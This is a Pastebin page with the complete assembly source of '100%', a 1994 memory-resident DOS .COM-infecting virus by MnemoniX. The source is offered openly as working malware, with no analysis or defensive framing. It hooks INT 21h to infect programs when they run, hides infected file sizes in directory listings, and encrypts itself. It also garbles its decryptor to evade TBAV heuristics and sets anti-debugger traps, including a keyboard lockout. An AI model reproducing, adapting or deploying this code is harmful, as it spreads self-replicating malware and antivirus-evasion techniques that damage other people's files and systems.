Advertisement
InfectedPacket

100% Virus (1994)

Aug 7th, 2015
231
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. ; =======================================================================>
  2. ;  100% By MnemoniX - 1994
  3. ;
  4. ;  This is a memory resident .COM infector which hides itself using
  5. ;  directory stealth (11/12 and 4E/4F). To avoid setting heuristic
  6. ;  flags in TBAV, it overwrites part of the decryption routine with
  7. ;  garbage and adds instructions to repair it on the header of the
  8. ;  program. Runs through TBAV flawlessly. Examine it in action and
  9. ;  observe for yourself.
  10. ;
  11. ;  This virus also includes debugger traps to thwart tracing.
  12. ; =======================================================================>
  13.  
  14. PING            equ     30F4h                   ; give INT 21 this value ...
  15. PONG            equ     0DEADh                  ; if this returns we're res.
  16. ID              equ     '%0'                    ; ID marker
  17. HEADER_SIZE     equ     22                      ; 22 - byte .COM header
  18. MARKER          equ     20                      ; marker at offset 20
  19.  
  20. code            segment byte    public  'code'
  21.                 org     100h
  22.                 assume  cs:code
  23.  
  24. start:
  25.                 db      17 dup (90h)            ; simulate infected program
  26.                 jmp     virus_begin             ; a real host program will
  27.                 dw      ID                      ; have some MOVs at the
  28. host:
  29.                 db      0CDh,20h                ; beginning
  30.                 db      20 dup(90h)
  31.  
  32. virus_begin:
  33.                 db      0BBh                    ; mov bx,offset viral_code
  34. code_offset     dw      offset virus_code
  35.                 db      0B8h                    ; mov ax,cipher
  36. cipher          dw      0
  37.                 mov     cx,VIRUS_SIZE / 2 + 1   ; mov cx,length of code
  38. decrypt:
  39.                 xor     [bx],ax                 ; in real infections,
  40.                 ror     ax,1                    ; portions of this code
  41.                 inc     bx                      ; will be replaced with
  42.                 inc     bx                      ; dummy bytes, which will be
  43.                 loop    decrypt                 ; fixed up by the header.
  44.                                                 ; this complicates scanning
  45. virus_code:
  46.                 call    $+3                     ; BP is instruction pointer
  47.                 pop     bp
  48.                 sub     bp,offset $-1
  49.                
  50.                 xor     ax,ax                   ; anti-trace ...
  51.                 mov     es,ax                   ; set interrupts 0-3 to point
  52.                 mov     di,ax                   ; to The Great Void in high
  53.                 dec     ax                      ; memory ...
  54.                 mov     cl,8
  55.                 rep     movsw
  56.                
  57.                 mov     ax,PING                 ; test for residency
  58.                 int     21h
  59.                 cmp     bx,PONG
  60.                 je      installed
  61.  
  62.                 in      al,21h                  ; another anti-debugger
  63.                 xor     al,2                    ; routine ... lock out
  64.                 out     21h,al                  ; keyboard
  65.                 xor     al,2
  66.                 out     21h,al
  67.  
  68.                 mov     ax,ds                   ; not resident - install
  69.                 dec     ax                      ; ourselves in memory
  70.                 mov     ds,ax
  71.  
  72.                 sub     word ptr ds:[3],(MEM_SIZE + 15) / 16 + 1
  73.                 sub     word ptr ds:[12h],(MEM_SIZE + 15) / 16 + 1
  74.                 mov     ax,ds:[12h]
  75.                 mov     ds,ax
  76.  
  77.                 sub     ax,15
  78.                 mov     es,ax
  79.                 mov     byte ptr ds:[0],'Z'
  80.                 mov     word ptr ds:[1],8
  81.                 mov     word ptr ds:[3],(MEM_SIZE + 15) / 16
  82.  
  83.                 push    cs                      ; now move virus into memory
  84.                 pop     ds
  85.                 mov     di,100h
  86.                 mov     cx,(offset virus_end - offset start) / 2
  87.                 lea     si,[bp + offset start]
  88.                 rep     movsw
  89.  
  90.                 xor     ax,ax                   ; change interrupt 21 to point
  91.                 mov     ds,ax                   ; to ourselves
  92.  
  93.                 mov     si,21h * 4
  94.                 mov     di,offset old_int_21    ; (saving original int 21)
  95.                 movsw
  96.                 movsw
  97.  
  98.                 mov     word ptr ds:[si - 2],0  ; anti-trace - temporarily
  99.                                                 ; kill int 21
  100.                 mov     ds:[si - 4],offset new_int_21
  101.                 mov     ds:[si - 2],es
  102.  
  103. installed:
  104.                 push    cs                      ; restore segregs
  105.                 push    cs
  106.                 pop     ds
  107.                 pop     es
  108.                 lea     si,[bp + offset host]   ; and restore original
  109.                 mov     di,100h                 ; bytes of program
  110.                 push    di
  111.                 mov     cx,HEADER_SIZE
  112.                 rep     movsb
  113.  
  114.                 ret                             ; and we're done
  115.  
  116. ; Interrupt 21 handler - trap file execute, search, open, read, and
  117. ; moves to the end of the file.
  118.  
  119. int_21:
  120.                 pushf
  121.                 call    dword ptr cs:[old_int_21]
  122.                 ret
  123.  
  124. new_int_21:
  125.                 cmp     ax,30F4h                ; residency test?
  126.                 je      test_pass               ; yes ....
  127.  
  128.                 cmp     ax,4B00h                ; file execute?
  129.                 jne     stealth
  130.                 jmp     execute                 ; yes, infect ...
  131.  
  132. stealth:
  133.                 cmp     ah,11h                  ; directory stealth
  134.                 je      dir_stealth_1
  135.                 cmp     ah,12h
  136.                 je      dir_stealth_1
  137.  
  138.                 cmp     ah,4Eh                  ; more directory stealth
  139.                 je      dir_stealth_2
  140.                 cmp     ah,4Fh
  141.                 je      dir_stealth_2
  142.  
  143. int_21_exit:
  144.                 db      0EAh                    ; never mind ...
  145. old_int_21      dd      0
  146.  
  147. test_pass:
  148.                 call    int_21                  ; get real DOS version
  149.                 mov     bx,PONG                 ; and give pass signal
  150.                 iret
  151.  
  152. dir_stealth_1:
  153.                 call    int_21                  ; perform directory search
  154.                 cmp     al,-1                   ; no more files?
  155.                 jne     check_file
  156.                 iret                            ; no, skip it
  157. check_file:
  158.                 push    ax bx es                ; check file for infection
  159.  
  160.                 mov     ah,2Fh
  161.                 int     21h
  162.  
  163.                 cmp     byte ptr es:[bx],-1     ; check for extended FCB
  164.                 jne     no_ext_FCB
  165.                 add     bx,7
  166.  
  167. no_ext_FCB:
  168.                 cmp     word ptr es:[bx + 9],'OC'
  169.                 jne     fixed                   ; not .COM file, ignore
  170.  
  171.                 mov     ax,word ptr es:[bx + 17h]
  172.                 and     al,31                   ; check seconds -
  173.                 cmp     al,26                   ; if 52, infected
  174.                 jne     fixed
  175.  
  176.                 sub     word ptr es:[bx + 1Dh],VIRUS_SIZE + HEADER_SIZE
  177.                 sbb     word ptr es:[bx + 1Fh],0
  178. fixed:
  179.                 pop     es bx ax
  180.                 iret
  181.  
  182. dir_stealth_2:
  183.                 call    int_21                  ; perform file search
  184.                 jnc     check_file_2            ; if found, proceed
  185.                 retf    2                       ; nope, leave
  186. check_file_2:
  187.                 push    ax bx si es
  188.  
  189.                 mov     ah,2Fh                  ; find DTA
  190.                 int     21h
  191.  
  192.                 xor     si,si                   ; verify that this is a .COM
  193. find_ext:
  194.                 cmp     byte ptr es:[bx + si],'.'
  195.                 je      found_ext
  196.                 inc     si
  197.                 jmp     find_ext
  198. found_ext:
  199.                 cmp     word ptr es:[bx + si + 1],'OC'
  200.                 jne     fixed_2                 ; if not .COM, skip
  201.  
  202.                 mov     ax,word ptr es:[bx + 16h]
  203.                 and     al,31                   ; check for infection marker
  204.                 cmp     al,26
  205.                 jne     fixed_2                 ; not found, skip
  206.  
  207.                 sub     word ptr es:[bx + 1Ah],VIRUS_SIZE + HEADER_SIZE
  208.                 sbb     word ptr es:[bx + 1Ch],0
  209. fixed_2:
  210.                 pop     es si bx ax             ; done
  211.                 clc
  212.                 retf    2
  213.  
  214. execute:
  215.                 push    ax bx cx dx di ds es    ; file execute ... check
  216.                                                 ; if uninfected .COM file,
  217.                 mov     ax,3D00h                ; and if so, infect
  218.                 call    int_21
  219.                 jnc     read_header
  220.                 jmp     exec_exit               ; can't open, leave
  221.  
  222. read_header:
  223.                 xchg    ax,bx
  224.  
  225.                 push    bx                      ; save file handle
  226.                 mov     ax,1220h                ; get system file table
  227.                 int     2Fh                     ; entry
  228.  
  229.                 nop                             ; remove this if you don't
  230.                                                 ; mind scanning as [512] under
  231.                                                 ; SCAN ...
  232.  
  233.                 mov     bl,es:[di]              ; get number of the SFT
  234.                 mov     ax,1216h                ; for this handle
  235.                 int     2Fh                     ; ES:DI now points to SFT
  236.                 pop     bx
  237.  
  238.                 mov     word ptr es:[di + 2],2  ; change open mode to R/W
  239.  
  240.                 push    word ptr es:[di + 13]   ; save file date
  241.                 push    word ptr es:[di + 15]   ; and file time
  242.  
  243.                 mov     ax,word ptr es:[di + 11h]
  244.                 cmp     ax,62579 - VIRUS_SIZE   ; too big?
  245.                 je      exec_close
  246.  
  247.                 cmp     ax,22                   ; too small?
  248.                 jb      exec_close
  249.  
  250.                 add     ax,HEADER_SIZE - 3      ; calculate virus offset
  251.  
  252.  
  253.                 push    cs
  254.                 pop     ds
  255.  
  256.                 mov     ds:virus_offset,ax
  257.  
  258.                 mov     ah,3Fh                  ; read header of file
  259.                 mov     cx,HEADER_SIZE          ; to check for infection
  260.                 mov     dx,offset read_buffer
  261.                 call    int_21
  262.  
  263.                 cmp     word ptr ds:read_buffer,'ZM'
  264.                 je      exec_close              ; don't infect .EXE
  265.  
  266.                 cmp     word ptr ds:read_buffer[MARKER],ID  ; if infected
  267.                 je      exec_close              ; already, skip it
  268.  
  269.                 mov     ax,4202h                ; move to end of file
  270.                 call    move_ptr_write
  271.  
  272.                 mov     dx,offset read_buffer   ; and save header
  273.                 call    int_21
  274.  
  275.                 call    encrypt_code            ; encrypt the virus code
  276.                 call    create_header           ; and create unique header
  277.  
  278.                 mov     ah,40h
  279.                 mov     cx,VIRUS_SIZE           ; write virus code to file
  280.                 mov     dx,offset encrypt_buffer
  281.                 int     21h
  282.  
  283.                 mov     ax,4200h                ; back to beginning of file
  284.                 call    move_ptr_write
  285.  
  286.                 mov     dx,offset new_header    ; write new header
  287.                 call    int_21
  288.  
  289.                 pop     dx                      ; restore file date & time
  290.                 pop     cx
  291.                 and     cl,0E0h                 ; but with timestamp
  292.                 or      cl,26
  293.                 mov     ax,5701h
  294.                 int     21h
  295.  
  296.                 mov     ah,3Eh                  ; close file
  297.                 int     21h
  298.  
  299. exec_exit:
  300.                 pop     es ds di dx cx bx ax
  301.                 jmp     int_21_exit
  302.                
  303. move_ptr_write:
  304.                 cwd                             ; move file pointer
  305.                 xor     cx,cx
  306.                 int     21h
  307.                 mov     cx,HEADER_SIZE          ; and prepare for write
  308.                 mov     ah,40h                  ; to file
  309.                 ret
  310.  
  311. exec_close:
  312.                 pop     ax ax                   ; clean off stack
  313.                 mov     ah,3Eh                  ; and close
  314.                 int     21h
  315.                 jmp     exec_exit
  316.  
  317. encrypt_code    proc    near
  318.  
  319.                 push    si es
  320.  
  321.                 push    cs
  322.                 pop     es
  323.  
  324.                 xor     ah,ah                   ; get random no.
  325.                 int     1Ah                     ; and store in decryption
  326.                 mov     cipher,dx               ; module
  327.  
  328.                 mov     ax,ds:virus_offset
  329.                 add     ax,DECRYPTOR_SIZE + 103h
  330.                 mov     code_offset,ax
  331.                
  332.                 mov     si,offset virus_begin   ; first store header
  333.                 mov     di,offset encrypt_buffer
  334.                 mov     cx,DECRYPTOR_SIZE
  335.                 rep     movsb                   ; (unencryted)
  336.  
  337.                 mov     cx,ENCRYPTED_SIZE / 2 + 1 ; now encrypt & store code
  338.  
  339. encrypt:
  340.                 lodsw                           ; simple encryption routine
  341.                 xor     ax,dx
  342.                 ror     dx,1
  343.                 stosw
  344.                 loop    encrypt
  345.  
  346.                 pop     es si
  347.                 ret
  348.  
  349. encrypt_code    endp
  350.  
  351. create_header   proc    near
  352.  
  353.                 mov     ax,ds:virus_offset      ; fix up addresses in new
  354.                 add     ax,103h + (offset decrypt - offset virus_begin)
  355.                 mov     ds:mov_1,ax             ; header
  356.                 inc     ax
  357.                 inc     ax
  358.                 mov     ds:mov_2,ax
  359.  
  360.                 xor     ah,ah                   ; fill in useless MOVs
  361.                 int     1Ah                     ; with random bytes
  362.                 mov     ds:mov_al,cl
  363.                 mov     ds:mov_ax,dx
  364.  
  365.                 push    es cs
  366.                 pop     es
  367.                 mov     di,offset encrypt_buffer
  368.                 add     di,offset decrypt - offset virus_begin
  369.                 mov     ax,dx                   ; now fill decryption module
  370.                 neg     ax                      ; with some garbage
  371.                 stosw
  372.                 rol     ax,1
  373.                 stosw
  374.                 pop     es
  375.  
  376.                 sub     word ptr ds:virus_offset,17 ; fix up JMP instruction
  377.  
  378.                 ret                             ; done
  379. create_header   endp
  380.  
  381. new_header      db      0C7h,06
  382. mov_1           dw      00
  383.                 db      31h,07                  ; first MOV            6
  384.                 db      0B0h
  385. mov_al          db      00                      ; a nothing MOV AL,    2
  386.                 db      0C7h,06
  387. mov_2           dw      00
  388.                 db      0D1h,0C8h               ; second MOV           6
  389.                 db      0B8h
  390. mov_ax          dw      00                      ; a nothing MOV AX,    3
  391.                 db      0E9h                    ; jump instruction     1
  392. virus_offset    dw      0                       ; virus offset         2
  393.                 dw      ID                      ; ID marker            2
  394.                                                 ; total bytes =       22
  395.  
  396. sig             db      '[100%] By MnemoniX 1994',0
  397.  
  398. virus_end:
  399.  
  400. VIRUS_SIZE      equ     offset virus_end - offset virus_begin
  401.  
  402. read_buffer     dw      HEADER_SIZE dup (?)     ; storage for orig header
  403. encrypt_buffer  dw      VIRUS_SIZE dup (?)      ; storage for encrypted virus
  404.  
  405. heap_end:
  406.  
  407. MEM_SIZE        equ     offset heap_end - offset start
  408. DECRYPTOR_SIZE  equ     offset virus_code - offset virus_begin
  409. ENCRYPTED_SIZE  equ     offset virus_end - offset virus_code
  410.  
  411. code            ends
  412.                 end     start
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement